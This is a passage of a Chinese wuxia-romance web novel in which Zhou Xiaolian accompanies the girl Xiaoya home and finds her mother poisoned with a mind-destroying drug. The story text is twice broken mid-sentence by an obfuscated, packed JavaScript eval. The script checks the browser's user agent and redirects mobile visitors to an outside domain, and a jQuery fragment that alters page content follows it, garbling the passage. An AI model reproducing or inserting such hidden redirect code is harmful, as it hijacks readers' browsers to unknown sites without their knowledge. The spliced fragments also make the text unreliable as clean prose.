这话像小怜先前喷出的那一帘血珠,湿哒哒溅进她耳朵里往下钻。她手中的铜凤开始发烫,是幻觉,这样的幻觉,让小怜想起那瘦猴的重量。蔡钱儿又讲了一个很短的故事,一瞬之间……小怜如感泰山压顶,五内俱裂。 芜兰坊的风起了。 一场宛如鬼啸的风,在小怜耳畔呼唤她,撕开她。 夜风带走地上那些辛欣留下的碎画,也带走小怜一路以来,想要置身事外的决心。 风轻飘飘地贴在小怜耳畔告诉她:“你以为你不姓辛就没事吗?你回到韦郡来了,这就是你的命。你的先人欠他们的命,你必须要还命。” 小怜浑身僵硬,脸色不霁到了极致。仿佛小牙儿曾抓着的不是她的手背,而是她的眉间。 被那小孩的指头深刻下几道斜纹,小怜眼下一点也藏不下去,也装不出云淡风轻了。 她看向疯癫的蔡钱儿,想起尖细且幽幽唤着小牙儿的那道女声……有些脱力。她刚刚都做了什么?常言道世间因缘弄人,可也不是这样弄的。她只是……一向就这样的。 乌兆星将她神态收入眼底,正想要捉住她手腕,却被另一边的燕紫芳捷足先登。 一向话少的男人没有鲁莽的宽慰她。皮革昨夜被他擦净了,今天贴着微微发凉,小怜下意识抬头去看他。 燕紫芳垂眸,不敢看小怜茫然的眼睛,他盯着小怜脖颈,缓缓道:“别怪自己,是我的错。” “你?错在哪里呢?来韦郡是我提的……”小怜失意,长长叹了一声。 原本不在意手背上的痛,可现在那几道横贯的口子痛彻心扉。她轻声说:“趁还没太晚,去找那小瘦猴儿吧。我刚才还是用了些力气的。” 没人再去看地上匍匐着的蔡钱儿。小怜抬腿向外走去,手腕带动了燕紫芳的手,男人亦步亦趋,像个孩子一样跟在她身边。 小怜没撇开他,也不觉得别扭。 燕紫芳望着她背脊耸动,想要笑,却被乌兆星那不甘幽怨的眼神盯得困惑。他睨回一眼乌兆星,就像他刚才那样——今日仇,今日报。 “小牙儿被章娘子带走了。她家在城郊,很快就得回去,”蔡钱儿爬起半个身子,对着小怜的背影扬手一抓,声嘶力竭,“你若要找她,就去芜兰坊前等她吧,小姐!” “小姐啊,其实你比少爷,更像辛小姐!” “在前面看到你的第一眼,我就想起她了……我对不住啊、对不住她!” 小怜走出去十步,肩膀忍不住抽动几下,到最后,眼眶还是有点红了。怀中的匣子沉甸甸,那是她从洗雪山庄带出来的。 燕紫芳探手拦住她,自然的帮她摘下夹在衣襟中的东西。 摊开手心,是一片画。 乌兆星望着小怜泛红的眼眶,在一旁道:“辛家亏欠了他们,这群人本就心中有怨。况且为了活命,人会不择手段的做出些事情,姐姐,你在为辛欣难过吗?” 三人由小怜带着往来处走,她怅然道:“有些吧。我只是觉得怎么死的不是我爹?他才是那个草包。” “纵然辛慎是个败光家产,被人算计的蠢货。可一直积下那不菲家产的,是辛家前几代人,”乌兆星摇摇头,把燕紫芳手心里的那张画片用指头弹飞,“辛欣作为辛家的子女,受民脂民膏供养,不可能不知情。” “作为帮凶,她棋差一着。下场是比寻常人凄惨骇人一些,天理如此,”乌兆星伸手捏捏周小怜后脖子,“好姐姐,心软了。” 燕紫芳收回手,也在乌兆星的话后补道:“你不是在辛家长大的子女,这些本来也与你无关。” “好吧,也是这样道理,”小怜想想这儿的荒芜和小牙儿的境遇,心中对辛欣的可怜淡了几分,“只是瘗玉埋香的手段狠辣,我怎么也算正道出身吧?实在有些听不下去。烧香天……” “能养出鸳鸯双贼的根,总不能指望他们有菩萨的慈悲。” 提及烧香天,倒是对上乌兆星这号江湖大魔头的认知。 “那老两口子都不是什么善茬,恨洗雪山庄恨之……对了,姐姐还要在韦郡待多久?” 小怜看了眼燕紫芳,不定道:“不知道,本来打算一两天就走。眼下事情多了,恐怕一时难以脱身。” “若要找你生父的线索,何不去温柔乡?还安全些,”乌兆星沉吟片刻,“京畿的醉仙楼,姐姐你也去过。这两处是一样的地方,只不过入乡随俗,在韦郡叫温柔乡。” “我才来一天,急着找人,还没打探清楚。”小怜三人继续前行,不一会儿便走到芜兰坊前。 乌兆星一直是个能聊天的,对喜欢的小怜更是滔滔不绝,小怜终于不用再与燕紫芳大眼瞪小眼。 “对了,那比武招亲后来怎么样了?”小怜顺口与乌兆星问道。 乌兆星靠在石栏杆上,道:“周大小姐把所有人打了个落花流水呗。本来留在那儿的也不剩几个好茬了,周大小姐剑都没出两回,一杆木枪就全挑飞了。” “我那夜与周大小姐过了两招,她的确高出我不少,好险没被她拿住,”乌兆星语气俏皮,捋起一段头发给小怜看,“喏,这儿砍坏了。” 小怜凑过去,认认真真地盯着看,却猛地被乌兆星拦进怀里抱住。腰间用力,让她一时也逃不开。 乌兆星利落地把头埋在她颈窝里,小狗似的摇脑袋乱蹭。 小怜惊诧,上半身不太好动,下半身总能踩他一脚:“你做什么?!” “哎呀!” 与小怜一起动的,还有燕紫芳。 他一把薅住乌兆星精心保养的发丝,用力往后提,硬生生逼着乌兆星从小怜的脖子里抬起头。痛得乌兆星直磨牙! 乌兆星怒骂燕紫芳:“狗男人,我看你赖在我姐姐身边不爽很久了!撒手!老子现在就把你剁了!” 燕紫芳语气淡淡,对乌兆星评价道:“她方才很不开心,不会喜欢你现在这样。” 小怜嚷嚷:“对!我不喜欢你这样!光天化日之下成何体统?撒开!” 就在三人撕扯不开之际,一个嘶哑的童声,从小怜脚边传来:“……怎么还多一个奸夫?” 另一个童声,从燕紫芳脚边传来:“小牙儿……可不能这样说……那个女魔头会再、再打你的……” 小怜听着声音,下意识往地上一看。 一把飞土猝不及防,撒进她眼睛里! 小怜被乌兆星抱着,躲闪不及。一双杏眼将那沙土全盘接下,小怜迷了眼睛,大叫一声:“呀!死孩子!!” “哈哈哈哈!我报仇咯!老妖婆——咳咳咳!”小牙儿咳嗽几声,应该还是刚刚被小怜掐住脖子的原因。 小怜本是有些生气,可因为这几声,那闷气全消了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362290|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “唉?哎!小牙儿!”这声音是刚刚那个小成,小怜认出来了。 乌兆星知是自己抱着小怜办了坏事,仓皇撒手,但又飞快反应过来,一手逮住想溜走的主犯小牙儿。 但周小怜这下就身形不稳,踉跄几步都没止住冲劲。 完了!她真要摔了!周小怜暗叫不妙,她轻功明明不差,可眼下怎么都停不下来凌乱的步子! 但还好——千钧一发之际,小怜被燕紫芳眼疾手快拽进怀里,一股冷香又淌进她鼻腔中。 小怜仰靠在燕紫芳的臂弯中,她听到男人不慌不忙,对她轻声道:“屏气。” 小怜看都看不见了,只能照他的话做。燕紫芳单手从腰间取下水囊,帮她浇在眼睛上,洗去一些沙粒。又安慰她:“你自己用手把眼睛打开,我帮你洗眼睛。” 再度被乌兆星提在手里的小牙儿撇了撇嘴,她瞧着面色不虞的乌兆星,调笑道:“你虽然长得好看,但实在不如那个哥哥。哎,这女人和她那个姘头比较配嘞!” 乌兆星被孩童的话刺中,一手捂住她嘴巴,恶狠狠恐吓道:“闭嘴!” 小怜四指扒开自己两只眼的眼皮,好难控制住灰土磨蹭带来的不适。眼瞳上雾蒙蒙,脏兮兮一片,眼珠子上下左右的溜转。 她眼见一股细水,轻轻从眼眶中流过,实在有种诡异的感觉。 泥沙被冲去大多,周小怜眨眼,正想用衣袖揉一揉时,又被燕紫芳制止住:“别用手揉,我帮你擦。” 他说着就用一块干净的绸缎帕子,动作又轻又柔,缓缓为小怜擦干净眼周和脸颊。两人此时凑得极近,小怜想着睁眼看看自己现在能否视物了,眼帘一掀,却看见燕紫芳纤长的眼睫毛快戳了上来。 小怜不由道:“太近了,你起来点。” 燕紫芳一心帮她擦沾到脖子上的水,没听清,只下意识抬头想看看小怜,却没想到自己卓越的鼻梁,正好撞到了小怜的鼻尖。 “呜嗯!” 原本两人间气氛暧昧非常,可如此一撞,小怜直接一把推开燕紫芳。没了拦住她的人,她的身体又往后不受控制的倒退几步。 这下真完了! 燕紫芳还想伸手,可这次没拉住小怜胳膊。两人带一小孩,就这么眼睁睁看着周小怜一路后退,最终倒着退出三尺之距,才挣扎着,倒了下去。 她还是摔了!小怜狼狈至极,这一摔原来是逃不过的?! 小牙儿忍不住捧腹大笑:“哈、哈哈哈哈哈哈!你们咋都这么笨啊!哎、咳咳、咳咳咳……” ……不多时后,小怜一手捂着自己的鼻子,一手拽着小牙儿的手腕。 乌兆星和燕紫芳像两条大狗,一人凑在小怜的一边,殷切又可怜的望着被撞到鼻子,此时正发誓今生都要做一个冷血无情的人的周小怜。 小牙儿见状,只是摇头,论道:“养狗不听话,不如不养狗。你……我姑且原谅了!” “废话,你不原谅也得原谅,老娘又不姓辛。我刚刚是错了,但你一把灰撒过来,我们尘归尘土归土,行不行了?”小怜低头看着小牙儿,闷闷道。 小牙儿和她一击掌,“行吧,看在你们仨给我表演一场乐子的份上——前尘恩怨,一笔勾销!” 小怜叹了口气,她感觉面对小孩,自己老了十岁。面对两条狗,一条坏狗乌兆星,一条笨狗燕紫芳,自己老了二十岁。 原来她现在不是十七,而是四十七,马上就该知天命了。 “好了,你们别挡着我了,我娘等我回家呢,我刚刚听见她叫我了。”小牙儿拍拍自己衣裳,正要抬腿离开芜兰坊,却又被周小怜叫住。 周小怜心知自己有求于她,小牙儿聪明,也不必扯什么谎瞒她。小怜望着她乌溜溜的眼睛,语气诚恳道:“一起走呗,我有十分紧要的事,要找你……娘?” 16. 仇更仇 “我娘得了疯病。”小女孩说得轻巧,小怜却眼皮一跳。 小牙儿倒是没拒绝周小怜,四人一同跟着她走,小牙儿要去搭一家阿叔的驴车出城,小怜又将帷帽戴上了。 那阿叔离芜兰坊不远,小牙儿约莫七日随他进一次郡内。她平日摘些野菜药草,晒干了托阿叔卖银钱,换治她娘疯病的草药。 阿叔去市集上忙活,小牙儿就到她娘原来住的芜兰坊去玩,芜兰坊的章婶从前与她亲娘是手帕交,留小牙儿两顿饭,时不时也问问她娘的近况。 小牙儿一蹦一跳地走,小怜背着铜凤,在她身旁听她讲话,乌兆星和燕紫芳跟在她们两人身后。 “她平时也不怎么说话,就一个人安安静静坐在窗子底下坐一天。反正我也不知道你们问她话,她会不会跟你们讲。” 小怜的目光扫过小牙儿脖颈上的红痕,扎眼得很。后悔之意溢于言表,她忍不住道:“找你娘问点事情,总要给报酬。你有什么想要的吗?” 小牙儿像见了鬼似的看她,道:“我还没跟你要呢,你就自己凑上来让我砍么?” “你当我钱多的不怕烧,说吧,姐姐给你全包了。”小怜趁机揉了一把小牙儿乱糟糟的头发。 小牙儿道:“那你把你的剑给我!” 最多以为小牙儿只会要钱,小怜千算万算没算到,小丫头会要她的剑。 她一愣:“为什么?” 小牙儿朝她咧嘴一笑,吐吐舌头:“跟你要了你又舍不得。” 周小怜道:“且不说我的剑与我朝夕相伴数年,是有感情的。我只是好奇,你为什么会想到要我的剑。” 小牙儿摇摇头,随口搪塞小怜道:“没那么多理由,就知道你小气吝啬。好啦,你还是给我点金子银子吧。” 小怜深深看着她头顶发旋,想也没想,真从兜里掏了一锭银子,不由分说地塞到她手里。 她在心底暗暗道:小牙儿人小鬼机灵,想要自己的剑一定不是随口说说。除了杀人,又有什么是非得要剑才行的呢? 没想到周小怜竟真塞了锭银子过来,沉甸甸压在手中,小牙儿身形也一顿。她神色复杂,小怜看着像纠结,于是问道:“剑暂时不能给你,银子你还不好意思要?” 小牙儿“哼”一声,把银子攥在手心里,脸上松动几分,道:“谁说的?银子你给我了可不能再反悔。好了,蔺阿叔在前面等着我呢!” 小怜顺着小牙儿的动作望过去,只见前面就到了郡西的市集,这个时辰,市集上也只剩下些残羹冷炙和破菜叶子。 在市集旁的一条窄路上,停着一辆套好的驴车。 驴后有个男人正弯着腰,似是在驴车上铺着什么东西。小牙儿眼尖,看见驴忙喊:“蔺阿叔,我来啦!” 小牙儿说罢,便急匆匆奔去他身边。 那男人也转过身来,他一把抱起小牙儿,只一打眼,神色凝重:“咱们家小……不对,你这脖子是怎么一回事?给谁掐了?” 被小牙儿称作“蔺阿叔”的男人,是个长相极为普通老实的人,两只眼细,浓眉,皮肤黝黑,有一双招风耳。 小怜三人不慌不忙走过去,只听小牙儿道:“我和人闹着玩呢,人家下手重了些,不妨事——对了,阿叔,我要带几个人去我家里!” 蔺阿叔皱了皱眉,道:“有人要去你家?你娘近来不是有些……” “叨扰了,”小怜凑上前拱手,客气道,“我姓周,有些事情想问问小牙儿她娘,并无恶意。” 她微微侧过身,露出后面两人:“这二位也是我要一同去的朋友。路上小牙儿已应允我们三人,便劳烦您了。” 周小怜用小牙儿堵男人的嘴,他也不能多说些什么,只挠挠头,看看自己的驴板车,道:“小牙儿同意了?那我倒也……不过我这车坐不下那么多的人……你们?” 燕紫芳接道:“我和他不用乘车。出郡要往北,附近的客栈有我们的两匹马。” 乌兆星闻言,忍不住“嘁”了一声。 “哦……哦。”男人无话可说,只能呆呆地应下,小牙儿也从他怀里跳下来,快手快脚爬上驴车。 小怜又掏了些铜板交予男人,手指短短接触一瞬,她在掌中和四指间碰到一些茧子。小怜挑眉道:“我不白坐,这一程多谢您。” 天上掉下点钱,不要白不要。蔺阿叔年纪与周珊瑚年纪看上去差不多大,他慢声道:“姑娘这太客气了,不嫌、不嫌我驴车简陋就好……我叫蔺松。姑娘直呼我名就是。” “蔺松叔。”小怜点点头,喊了男人一声。 她足尖轻点,身体像一片叶子一样,轻轻落在小牙儿身边。上了驴车才发现,上头竟铺着一层麻布,垫得干干净净,是为了方便给小牙儿坐的吧。 小怜朝燕紫芳和乌兆星挥挥手,示意他们先走:“关口外见吧,不必担心我。阿星,路上不要寻他的事情。” 燕紫芳不会和乌兆星争辩什么,但向来无法无天,恣意妄为的乌兆星可不一定。周小怜对待他始终就像对待孩子,之前的事情,两人心照不宣的没有在这儿提及,想来已经是乌兆星忍让的极限。 若是没了小怜的监管,也不知道他与燕紫芳能不能好好地处上一两个时辰。周小怜无可奈何,只能提醒他:“我是有正事要做的。” “姐姐就这样不信我?”乌兆星佯装无辜。 他是想路上对燕紫芳下手,可还没走出去一步,小怜就把他看穿了,只能叹道:“知道了,我不动他。那之后我可要向姐姐讨债了……” 过去的事躲无可躲,周小怜点头应下:“好,说什么我都陪你。” 乌兆星朝她伸出小指,执拗道:“我要拉钩,给我盖个章。” 小怜伸指与他钩在一起:“好好好,盖章盖章。我若是再骗你,就天打五雷轰——” “你要是再骗我,就这辈子再也不能找除了我以外的男人!”乌兆星打断小怜话头,他凑过身去,隔着帷帽外的纱,飞快地亲了一下小怜的脸庞。 唇瓣柔软,压着薄纱印上,浅热的温度也随之淹没过来。 “你欠我的,我得要回来。城外,我等你。” 乌兆星压根没给小怜反应的时间,他耳根肉眼可见的发红,先一步走开。 燕紫芳见状,也凑过去看看小怜。他视线钩在小怜的脸颊上,声音又轻又快:“我也等你,城外见。” 小怜无暇顾及燕紫芳了。她捂着被乌兆星亲上的地方,坐在小牙儿身边,一颗心久违地狂跳。她该制止乌兆星,该和他把话说清楚的……她不能像对阮真棋那些人一样对他!然而,然而。 乌兆星或许是真的喜欢她吧。小怜忍不住想,他总是把少年人的赤诚真心,捧到她的眼前。从前是,骗过千百次,依然是,百死不悔。 人走光了,驴车缓缓动了起来。小牙儿看着失神的小怜,笑她:“哦……心动了?他叫你姐姐,你们俩是姐弟吗?” “不全是吧。”小怜说完,难得陷入沉默。蔺松一心赶车,小牙儿摸着小怜的铜凤。 前路迢迢生死不知,周小怜两度来到日月江南,心境却截然不同。 她想不明白,明明自己一开始逃婚是为了过上逍遥自在的好日子,可怎么又被卷进这样剪不断理还乱的事情里?那一个亲吻,这一个匣子…… 真该断情绝欲了。小怜拍拍脸,决定还是忙自己的事情要紧。眼下要防着的燕紫芳不在身边了,小怜掏出怀里的木匣,捧在手中,叹了一口气。 小牙儿眼睛探过去,看到小怜手里的木匣,惊讶道:“你找我娘是为了打开这个吗?” 小牙儿的主动搭腔出乎小怜意料,小怜忙道:“嗯,你能打开吗?” 她把匣子递过去,小牙儿却直摇头。 她皱着眉说:“不行,我看是有机关的那种。那只有我娘能开……她清醒的时候能。匣子是祖传的手艺,她疯了,也没教过我。” 两人一路上默默无言,这会儿才谈寥寥数语,驴车却已过了关口。 出了城,小怜就看到燕紫芳两人正骑着马儿,远远在一旁候着。 蔺松见状,转身与小怜道:“前面再走两里路,过了镇,西北有个开满黄花的山坡。小牙儿知道路,他们家就在那。” 小怜点点头,一手抱着小牙儿,从驴车上下来:“好,多谢。若不放心,也可以随我们一起……” “嗨,哪有什么不放心的,”蔺松朝她摆摆手,“ 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骑在马上行过一段路,思量再三,小怜还是止不住心头那点疑惑,向小牙儿发问:“不过……你娘怎么疯的?” 小牙儿抱着她的铜凤,语气故作轻松:“她是被我爷爷卖给我爹这个废物脓包的。我爹这人,从前三天两头往黄金台和琼鱼坊钻,把我娘嫁妆输了个干干净净。” “他又喝酒又赌钱,输了就回家里头打我娘。前两年,我娘实在没熬过去,夜里用一把锤子把我爹的脑袋锤了个稀巴烂——嘿,就这么疯了。” 小怜道:“那你呢?” 小牙儿手指头摩挲着剑鞘,轻声道:“我?我得活着,我娘只能靠我了。我得把她的疯病治好……得和她报了仇,才行。” “你爹都死了,还有什么仇呢。” “琼鱼坊,黄金台嘛,”小牙儿抽笑了一下,露出被蛀虫涂黑几块的牙齿,“还有个烧香天,我也知道,是什么江湖上的东西。那儿的人经常去芜兰坊□□掠,就因为那什么辛家。” “……”小怜无言。难怪一开始芜兰坊没人愿意出来,估摸着是把她当做烧香天的人了。 她后来说自己是辛家的人,对于他们其中有些人来说,也无异于魍鬼吧。 “反正我想都是他们害得。我爹在黄金台喝酒沽酒,在琼鱼坊赌钱输钱,现在我爹死了,他们也别想逃。” “我……要是把他们都杀光了,说不定我娘就能好了,”小牙儿搓着指头,又摩挲起铜凤,眼神中全是渴望,“大夫说了,我娘那是心结。我帮她解开就是。她杀得了一个人,我也可以。” 来龙去脉一清二楚,小怜这才看得明白。 小怜恍然大悟道:“所以你要铜凤,是为了……” 小牙儿承认道:“嗯。是为了杀人,报仇。” “小小年纪,杀性好重,”小怜点点她额头,“何不让我去替你做了?” “……叫别人杀人要花钱吧,”小牙儿愣了一记,扭捏道,“况且你会愿意吗?你比他们要厉害吗?你去杀他们,不是白白送死吗?” “我不是说了,当报酬吧。实在不行,你也可以当姐姐是大善人。” 小怜想起被周汀情杀了的鸳鸯双贼。 若旁人听了小牙儿的复仇,恐怕都会觉得她多么天真幼稚吧。杀人,怎么能让一个疯子变好呢? 可这样天真的,一个孩子说的话,被一个疯狐狸听进去了。 小怜未尝不知这是一个很不可能的想法,可她心里头现在那点散不开的郁结,好像终于找到了消磨的方法。周汀情杀鸳鸯双贼成了善人,那她呢?帮小牙儿复仇,也是个善人吧。 一谈到杀人,小怜便眉飞色舞地笑开了。流风拂过少女的发丝裙袂,狐狸精借着彩霞红日光,全身上下的骨头都舒展开,身姿像一株蔓柳迎风,青色从她身躯上养出来,长满一整片山崖,张狂又畅快。 小牙儿抬头,望着神采奕奕的周二小姐,不知不觉间,竟有几分看痴了。 小怜浑然不觉女孩的敬仰。她只是语调扬起,快乐道:“你娘帮我开匣,我帮你娘杀人,为了你,我做一次善人。好,就这样说定了!” 17. 菡萏香 小牙儿的家远离村庄,据她所说,是因为她娘疯起来会哭一整夜,村里人听不下去,所以把她们赶到了山坡上。 不过过了半晌,小牙儿又道:“其实我知道他们也是为了我们好。” “我娘杀了我爹,他们帮着把我爹扔到荒岗上去了。给野狗和野鸟儿吃了,就不会被人发现,”小牙儿又腾出一只手,好奇地摸了摸胯下马儿的鬃毛,“坡上……很好,有很多花,我娘很喜欢。” 小怜眼睑低垂,给她扎起麻花辫:“你喜欢花吗?” “就那样吧,谈不上喜不喜欢的,那个摘了能卖钱。”小牙儿淡淡道。 马儿的步伐慢慢停稳,小牙儿指了路,四人已经迈过油菜花田,到了山坡上。视线所及的地方,有一间木头搭的院房,三四间屋子,从外面看上去还很新,晒着些药草和菜干,很宽敞,有歪歪扭扭的栅栏。 院子里有几只小鸡,正跑来跑去地啄米。 一路上都在旁边安安静静听着的燕紫芳抬起手,把小牙儿从马上抱了下来。 周小怜紧随其后下马,站在小牙儿身边。 女孩往她的家里走去,推开简易的栅栏门,一身绒毛的黄色小鸡们齐齐扭动着朝她奔来。小牙儿熟门熟路的将它们轻轻踢开,带着小怜几人往里走。 小牙儿与他们说道:“我娘白天偶尔会在外头,还是在里面多一点。那两位大哥,你们要不在外面等等?我娘见不了陌生的男人。” 小怜顺着小牙儿的话,回头看了两人一眼,坦白道:“你们在外面坐一会儿吧。本来这也是我自己的私事,不大想让你们知道。” 乌兆星忍不住撇了撇嘴,但还是应下:“好吧好吧。那我坐着等姐姐。” 燕紫芳也停下脚步,道:“我不进去,在外面等你。” “多谢啦。”小怜拨弄了一下自己头上的帷帽,跟着小牙儿入了正中间最大的房间里头。甫一踏入,她便嗅到一股很难闻的药苦和血臭,小怜不禁蹙眉。 屋子里被一道格格不入的珠帘隔开,珠帘后是卧榻、梳妆台和橱柜。内里摆设并不似小怜曾在别处见过的那样杂乱无章,而更像是有人精心布置过,其精致远超出了村庄院落的程度。甚至较之洗雪山庄的厢房,也过犹不及。 小牙儿卷起珠帘,露出其后半遮面的女人身影。她的母亲,身形与女儿如出一辙,也是一把被皮包着的骨头。瘦骨伶仃的身体,往上看,有一头格格不入的,油亮乌黑的迤地长发。多么妖异的长发……小怜眼皮一跳。 人的头颅好似活生生吸干了这具身体的养分一样,唯有上枝是丰艳青春的,下枝像是埋在淤泥中的残茎。 女人穿着一件普通的衣裳,可因为她的挣扎,所以穿戴并不那么齐整。她身上包着两三块白纱布,除此以外,脖颈和背脊上有些地方结痂,有些地方粉肉增生。 痴痴的女人正挠着后背,应该是觉得痒吧,她不知痛的把褐色的硬块抠开,血珠又一点点冒了出来。有些肉已经溃烂了,女人指甲里抠着一点红肉。 她的动作像个孩子一样懵懂,听觉却很灵敏。她听到小牙儿的脚步声,欢欣地转过头来,轻声细语,结结巴巴道:“小牙儿!你回、回来啦!” “嗯,回来啦,”小牙儿回了她一句,女人又“哼”的一声,转过头去。女孩把她揣在怀里的药包掏出来,她没有察觉到母亲异常的样子,还是早已习惯母亲的样子? 这是刚刚蔺松给她的药,药得长吃才能好,小牙儿道:“我去给你煎药。那个——” “我姓周,你叫我小怜也可以。”忙活了半天,居然连彼此的名字也不知道,这样本末倒置的事情有些说不上来的好笑。小怜提醒道。 小牙儿跟着她学:“行,我其实叫虞雪芽,下雪的雪,生根发芽的那个芽,我娘叫虞雪海。待会儿她喝了药,你再让她看看那个匣子好了。” “那我现在能过去看看她吗?在这站着也是没事做。”小怜望着榻上的女人,总觉得她身上的伤和行为很是诡异。虽然她不算太通药理,可往常断骨时在毒婆婆身边耳濡目染,也见过些疑难杂症和旁门左道。 只不过不凑近了看也不能确定,因此小怜还是拐着弯儿的和她提。 小芽儿对现在的小怜已没什么戒备心了,毕竟一只愿意为了她杀人报仇,还给她银子的狐狸精,实在难得一见。她对小怜就像小怜对燕紫芳一样,有一种盲目的信任。小芽儿点点头:“你去吧,别提那些事情就行。” 小怜道:“绝对不提。” 她得了小芽儿的首肯,便蹑手蹑脚走过去。虞雪海浑然不觉她的靠近,小怜轻轻坐在她床沿上,虞雪海才像被踩着尾巴一样,警惕地逃到床角里,缩成一团:“你、你是谁?怎么没有脸?” 没有脸……是因为小怜戴着帷帽。以免刺激到虞雪海的状态,她一边摘帽,一边安抚道:“我是小怜,周小怜。是雪芽的朋友……” “不!我认识你!” 小怜将帷帽收好,放在腿上。她听到虞雪海的声音,下意识抬起头,却见到虞雪海眼睛一眨一眨,一动不动地看着她。 虞雪海敏捷地扑过来,一把抱住小怜的肩膀,直往她怀里钻,像只小猫儿一样:“你是姐姐!我、的、姐姐!辛欣姐姐……辛欣姐姐!你来看我啦?慎哥哥……” 小芽儿听到屋里的动静,忙不迭冲了进来。可当她也看见床上的景象时,也愣在原地,不可思议道:“娘……?” 虞雪海的身体被小怜稳稳接住,可她不知道该在何处落手。这样近的距离,她清晰的看见了虞雪海的脊背,几乎没有一块好肉。溃烂、流脓、腐肉……什么都有。但她也不喊痛,只是毫无知觉,宛如行尸走肉——小怜闻到一股绝不该在此出现的花香。 荷花香。 湿粉浮清波,藕桨棹十里。 周小怜大惊失色,瞬息间出手,横砍在虞雪海的脖颈处,使她晕伏在自己怀中。 虞雪芽见此情形,惊悚大喊:“你做——” 她话音未落,屋外的燕紫芳已倏地洒出一刀银光,砍碎了正在烹煮的药罐。他提步走进这间沉闷的红粉乡中,乌兆星也蹙眉紧随其后。 “菡萏香,久服者会神志不清,形如活尸,”燕紫芳还刀入鞘,他甩开还在震惊的小芽儿,打开门窗,“药有问题,她再喝必死无疑。” 小怜颔首,朝小芽儿道:“蔺松指间、掌腹生茧,虎口亦有磨损。走动间不似寻常农家,小芽儿,他是你从小就认识的吗?” “这、这当然是……”小芽儿并非听不懂那么直白的话,只是她年纪尚小,此时难以接受如此突如其来的展开。况且事关生母,她脸色惨白,摇晃道:“他是我娘的旧相识、自然是从小就与我认识……” “在我、我娘疯了之后,他常来……” “你们说的什么菡萏香……我怎么,听、听不明白……” 小怜沉默了,她也不知道到底要怎么和她解释。那个蔺松是习武之人,可能给她送药,就是为了害她娘……可是为什么?蔺松为什么要害一个平平无奇的女人?还偏偏是在她疯了之后,用这样造价高昂且玄妙的手段折磨她? 她没有说话,燕紫芳代之开口:“菡萏香也称荷花香,一种奇毒。短时间内虽不致死,但长时间服用的人会身体溃烂,日渐神志不清,忘记前尘。到最后,只会听从身上有香的人的命令。” “你不妨好好想想,在你附近谁的身上,闻到过这种香味。况且现在正值仲春,不提城中池水里菡萏正含苞待放,你家远在山坡上,四周无水,怎么会有荷花香?” 小怜见小芽儿不可置信的模样,始终不忍,出声打断道:“让她自己想想吧,别说了。” “不……不!”小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362292|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芽儿猛地跑到小怜身边,她还抱着昏睡过去的虞雪海,母亲在少女的怀中睡相安详恬静,好似一切曾痛击她们的风雨从未降下过。 可上头再如何鲜妍,女子脖颈以下的肢体,全都发红发烂。虞雪芽有些怔了。 虞雪海从前是会因为疼叫的,可吃了药之后,她对此丝毫不察,也感受不到疼痛。虞雪芽无论为她做什么,她都逆来顺受,温柔的笑望雪芽。 她没有疯的时候,也常常这样看着雪芽。母亲没有变,她只是安静了下来。 虞雪芽心里松了很多,她那时只当是省事了。日子这样过,母亲再也不会尖叫和嘶吼,好像也很好……等以后报了仇,说不定她就会好了。 孩子玩心最重的年纪,她无数次对照顾母亲的重责感到疲惫。村里其它的孩子因为父母的嘱咐,不会靠近她的身边,虞雪芽的幼年已经足够不幸,父亲死了,她以为那一刻就是解脱。 可疯了的母亲接踵而至。 她应该照顾母亲,那是她为人子女的职责。虞雪芽知道,要是没有母亲的舍身,恐怕她一辈子都会活在父亲的阴霾下。她长大后,也一定会像母亲被爷爷卖掉一样,用青春换来比母亲那两头牛,一袋面,更高的价格。 所以虞雪芽是自愿照顾虞雪海的,就连名字,也是仿着虞雪海,又再起了一个。 但她那时,只是一个十岁不到的孩子。 后来蔺松出现了,以虞雪海友人的身份,有许多村民说,他们两人是认识的。许多事情随着蔺松的到来迎刃而解,包括这间屋子。 她们母女刚来住的时候,它还会漏雨漏风。整夜整夜冷得睡不着的日子已经过去很久,可雪芽还是时不时会从梦中惊醒。她很害怕……怕有一天,母亲就突然死在自己的身边。那时候,她该怎么办?要怎么活? 虞雪芽跪在地上,她小心翼翼地捧着虞雪海的手,痛苦道:“我只当那个药……就算不是治疯病的,也,也是安神的……母亲安静一会儿,待在家里,我就能……出去……” “我不想母亲死……蔺阿叔不是好人吗?我不懂,什么菡萏,什么荷花!” “为什么……”虞雪芽不解,周小怜也不解。 为什么要给虞雪海用菡萏香? 不待小怜开口问询,虞雪芽已果断转过身,她一头磕在地上,闷声道:“你们,你们既然这样神通广大,求你们,救救我娘吧!” 听闻此言,乌兆星也无奈摇头,他道:“不是我不想偶尔当个好人,只是菡萏香身为奇毒。其药性诡谲,若在初时加以遏制,说不定还有得救。若是现在……” “菡萏香入五内数月,其常态为身烂与四肢失衡。而受香者,头颅仍然美丽,发如流云舒畅灿烂,正如菡萏盛开模样,乃是湖上美人头。” “普天之下,无人可救。唉,哪怕是我这种同为邪物的,也无力回天啊。” “无力、回天?那是我……亲手害了我娘……?”小芽儿抬首,绝望地盯着乌兆星。她听到乌兆星这般火上浇油,雪上加霜的补充,已无力为支。 想到自己日复一日煎药,一勺一勺喂到母亲的口中,全身的力气都像被抽空了一样。 虞雪芽颓然跌倒在地,满目茫然。 